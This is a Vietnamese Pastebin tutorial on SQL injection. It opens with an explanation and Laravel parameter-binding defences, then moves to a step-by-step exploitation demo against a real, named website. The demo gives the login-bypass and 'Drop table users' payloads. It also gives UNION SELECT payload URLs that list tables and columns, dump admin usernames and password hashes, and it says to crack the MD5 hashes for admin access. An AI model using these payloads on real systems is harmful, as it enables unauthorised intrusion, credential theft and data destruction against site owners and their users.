Advertisement
Guest User

123123

a guest
Jul 12th, 2017
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.98 KB | None | 0 0
  1. TÌM HIỂU VỀ SQL INJECTION
  2. I. Tìm hiểu về SQL injection
  3. 1. SQL injection là gì?
  4. SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp. SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...
  5. 2. Tác hại của SQL injection
  6. • SQL Injection là một trong các kiểu tấn công phổ biến nhất đang được sử dụng trên Internet.
  7. • Mặc dù phương thức tấn công là tương đối cũ và đã có rất nhiều phương pháp phòng chống hiệu quả được đưa ra nhưng rất nhiều lập trình viên vẫn chưa nhận thức được mức độ nguy hiểm của nó và chưa áp dụng biện pháp phòng chống nào cho website của mình.
  8. • Tùy vào từng hệ thống mà thiệt hại do SQL injection gây ra là khác nhau. Tin tặc có thể phá hoại hệ thống hoặc nghiêm trọng hơn là ăn cắp thông tin người dùng để thực hiện các hành vi bất hợp pháp.
  9. 3. Nguyên nhân gây ra lỗi SQL injection
  10. • Lỗi SQL injection thường xảy ra do lập trình viên hay người dùng định nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào.
  11. 4. Công cụ dùng để tấn công
  12. • Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, …
  13. 5. Các dạng lỗi thường gặp
  14. a. Không kiểm tra ký tự thoát truy vấn
  15. Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng.
  16. b. Xử lý không đúng kiểu
  17. Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào. Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ liệu mà người dùng nhập vào có phải là số hay không.
  18. c. Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu
  19. Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL. Điều này sẽ cho phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công dựa trên những ký tự Unicode.
  20. d. Blind SQL injection
  21. Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều thời gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể sử dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập sẵn.
  22. 6. Một số ví dụ về SQL injection
  23. • Đánh cắp thông tin người dùng
  24. Giả sử ta có 1 form đăng nhập, yêu cầu người dùng nhập username và password để truy cập vào hệ thống.
  25. Tất nhiên, tin tặc không biết cặp username và password này của user. Nhưng, chỉ bằng cách đơn giản là sử dụng mệnh đề luôn đúng, chúng có thể lấy được toàn bộ thông tin của các users được lưu trữ trong database.
  26. SELECT * FROM users WHERE username = '{$username}' and password = '{$password}'
  27. Đoạn truy vấn trên trông hoàn toàn bình thường, nhưng nếu các biến $username và $password được nhập bằng: ' OR '1' = '1 thì sẽ như thế nào nhỉ?
  28. SELECT * FROM users WHERE username = '' OR '1' = '1' and password = '' OR '1' = '1'
  29. Wow, danh sách users đã có sẵn trong tầm tay !!!
  30. • Xóa database
  31. Giả sử cũng cùng câu lệnh select như trên:
  32. SELECT * FROM users WHERE username = '{$username}' and password = '{$password}'
  33. Thay vì truyền dữ liệu ' OR '1' = '1 cho cả 2 biến $username và $password, ta thay giá trị $username = 'test', $password = 'test'; Drop table users;
  34. Khi đó, câu lệnh truy vấn sẽ trở thành:
  35. SELECT * FROM users WHERE username = 'test' and password = 'test'; Drop table users;
  36. Sau câu lệnh này, toàn bộ dữ liệu của bảng users sẽ bị xóa.
  37. 7. Cách phát hiện SQL injection
  38. Thông thường, để phát hiện một ứng dụng web có dính lỗi SQL injection hay không, ta thêm vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng hạn như dấu nháy đơn ('), dấu nháy kép ("), dấu chấm phẩy (;) và các ký tự comment (–, ##, /**/) … Nếu có lỗi sql hiện ra thì chứng tỏ trang web đó đã bị dính lỗi SQL injection.
  39. II. Cách phòng chống SQL injection trong laravel
  40. Được đánh giá là một framework PHP rất mạnh, do đó, Laravel đã được tích hợp sẵn các phương pháp phòng chống SQL injection. Ta sẽ tìm hiểu xem nó phòng chống SQL injection bằng cách nào?
  41. 1. Với Laravel’s Eloquent ORM
  42. Laravel’s Eloquent ORM sử dụng ràng buộc tham số PDO để tránh SQL injection. Các ràng buộc tham số này đảm bảo rằng các tin tặc không thể vượt qua các truy vấn dữ liệu mà làm thay đổi mục đích của truy vấn.
  43. Trở lại với các ví dụ mà chúng ta đã xem xét cho việc tấn công bằng SQL injection ở phía trên với câu lệnh truy vấn quen thuộc:
  44. SELECT * FROM users WHERE username = '{$username}' and password = '{$password}'
  45. Khi ràng buộc tham số PDO được sử dụng, dữ liệu đầu vào chỉ được bao trong 1 cặp dấu nháy, do đó, câu lệnh truy vấn sẽ như sau:
  46. SELECT * FROM users WHERE username = 'OR 1 = 1' and password = 'OR 1 = 1'
  47. SELECT * FROM users WHERE username = 'test' and password = 'test; Drop table users;'
  48. Tất nhiên là không có trường username nào có giá trị là OR 1 = 1, cũng như không có trường password nào có giá trị là test; Drop table users; nên kết quả trả về giá trị rỗng.
  49. 2. Với Laravel’s raw queries
  50. Với các xử lý logic phức tạp, đôi khi chúng ta cần sử dụng đến Laravel's raw queries thay cho Laravel’s Eloquent ORM.
  51. Đối với phương thức này, Laravel cũng cung cấp cho chúng ta phương pháp để phòng chống SQL injection.
  52. Thay vì sử dụng:
  53. $someVariable = Input::get("some_variable");
  54.  
  55. $results = DB::select( DB::raw("SELECT * FROM some_table WHERE some_col = '$someVariable'") );
  56. Cách này sẽ dễ gây ra 1 lỗ hổng bảo mật, thuận tiện cho việc tấn công bởi SQL injection.
  57. Ta nên dùng:
  58. $someVariable = Input::get("some_variable");
  59.  
  60. $results = DB::select( DB::raw("SELECT * FROM some_table WHERE some_col = :somevariable"), [
  61. 'somevariable' => $someVariable,
  62. ]);
  63. Với mảng ràng buộc được truyền qua hàm DB:select, câu truy vấn sẽ được bảo vệ khỏi SQL injection thông qua PDO connection của Laravel.
  64.  
  65. DEMO KHAI THÁC LỖ HỔNG SQL INJECTION
  66. Công cụ: Havij là một công cụ tự động giúp các tester thâm nhập để tìm kiếm và khai thác lỗ hổng SQL Injection trên một trang web.
  67. Sử dụng phần mềm này, người dùng có thể thực hiện các phương pháp khai thác lỗ hổng SQL Injection một cách dễ dàng qua giao diện. Không khó xử dụng như SQLMap. Havij có thể lấy tên đăng nhập CSDL, mật khẩu mã Hash, dump bảng và cột, trích xuất dữ liệu từ cơ sở dữ liệu, thực hiện các câu lệnh SQL tấn công máy chủ của nạn nhân, thậm chí truy cập vào các tập tin quan trọng của hệ thống và thực hiện các lệnh tương tác với hệ điều hành (shell-chạy command line).
  68. Sức mạnh đặc biệt của Havij để phân biệt nó với các công cụ tương tự là nhờ phương thức Injection độc đáo. Tỉ lệ thành công của các cuộc tấn công nhờ Havij lên tới 95%.
  69. Với giao diện thân thiện và thiết đặt hệ thống phát hiện lỗ hổng tự động khiến nó trở nên dễ dàng cho tất cả người dùng.
  70. - Mục tiêu: http://vinawebsoft.com/home/news/detail/?id=134
  71. - Kiểm tra xem có bị ảnh hưởng bởi lỗi SQLi hay không bằng cách thêm dấu ‘ vào sau trường ID VD: http://vinawebsoft.com/home/news/detail/?id=134’ ra 1 trang khác với trang ban đầu  kết luận lỗi
  72.  
  73.  
  74. - Cài đặt Addon Hackbar trên trình duyệt Firefox (Addons này cho phép người dung dễ dàng thao tác hơn với các lệnh SQL)
  75.  Trên trình duyệt Firefox chọn Menu – Addon – Hackbar – chọn Install
  76.  
  77.  
  78. - Sử dụng Hackbar để khai thác SQL Injection
  79.  B1: Xác định mục tiêu bị ảnh hưởng bởi SQLi sau đó nhấn vào Load URL trên Hackbar.
  80.  B2: Tiến hành khai thác lỗ hổng bằng cách sử dụng các lệnh truy vấn CSDL SQL nhằm lấy ra thông báo lỗi kèm theo là các thông tin nhạy cảm của Hệ Quản trị CSDL.
  81.  B3: Dùng hàm order by [ giá trị tăng hoặc giảm ] để đếm và sắp xếp số lượng chính xác hàng có trong CSDL phục vụ cho toán tử Union. Giá trị này tăng hay giảm cho đến khi xuất hiện thông báo lỗi hoặc trang bị thay đổi so với ban đầu  kết luận có chính xác từng ấy hàng. VD:
  82. Khi ta truy vấn đến giá trị 12 thì thấy giao diện thay đổi so với lúc trước vì vậy không tồn tại giá trị 12 do đó ta cần lùi giá trị này xuống 1 đơn vị để lấy được giá trị đúng.
  83.  
  84. • B4: Sử dụng mệnh đề Union Select để truy xuất dữ liệu từ các hàng và các cột của 1 hay nhiều bảng. Để dễ dàng chèn lệnh Union ta di chuột lên Menu của Hackbar chọn SQL – Union select statement – nhập chính xác số lượng hàng đã tìm được VD:
  85.  
  86. Từ hình ảnh trên ta thấy xuất hiện số 2, do đó ta sẽ lợi dụng vị trí này để chèn các câu truy vấn SQL bất hợp pháp tiếp theo.
  87.  
  88. • B5: Sau khi xác định được vị trí, ta chèn câu lệnh sau vào đúng vị trí xuất hiện, ở đây là vị trí số 2 như sau: http://vinawebsoft.com/home/news/detail/?id=-134 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()-- -
  89. Trong đó: Hàm Group_concat là hàm được sử dụng để nối hay gộp nhiều giá trị lại với nhau và xuất ra chuỗi (ở trường hợp này là lấy ra tất cả các Record có trong CSDL)
  90.  
  91. Từ hình ảnh trên ta có thể thấy được toàn bộ Table có trong CSDL Web site,từ đây ta có thể chọn ra 1 bảng mà ta nghi ngờ là bảng có chứa thông tin đăng nhập vào WebSite Control Panel.
  92. • B6: Ta xác định bảng có tên “vnws_user” sẽ chứa thông tin về tài khoản quản trị của Web, ta thực hiện truy vấn các cột có trong bảng đó bằng cú pháp sau: http://vinawebsoft.com/home/news/detail/?id=-134 UNION SELECT 1,group_concat(column_name separator 0x3c62723e),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_schema=database() and table_name=0x766e77735f75736572-- -
  93.  
  94. Trong đó 0x766e77735f75736572 (là mã Hex của vnws_user)
  95.  
  96.  
  97.  
  98. • B7: Sau khi đã có được thông tin về các cột có trong bảng vnws_user ta sẽ truy vấn các thông tin có trong các cột đó bằng cú pháp:
  99. http://vinawebsoft.com/home/news/detail/?id=-134 UNION SELECT 1,group_concat(user_name,0x7c,user_pwd),3,4,5,6,7,8,9,10,11 from vnws_user-- -
  100.  
  101.  
  102. • B8: Tiến hành Crack mật khẩu ở dạng MD5 ra PlainText và tìm link đăng nhập vào Web Admin
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement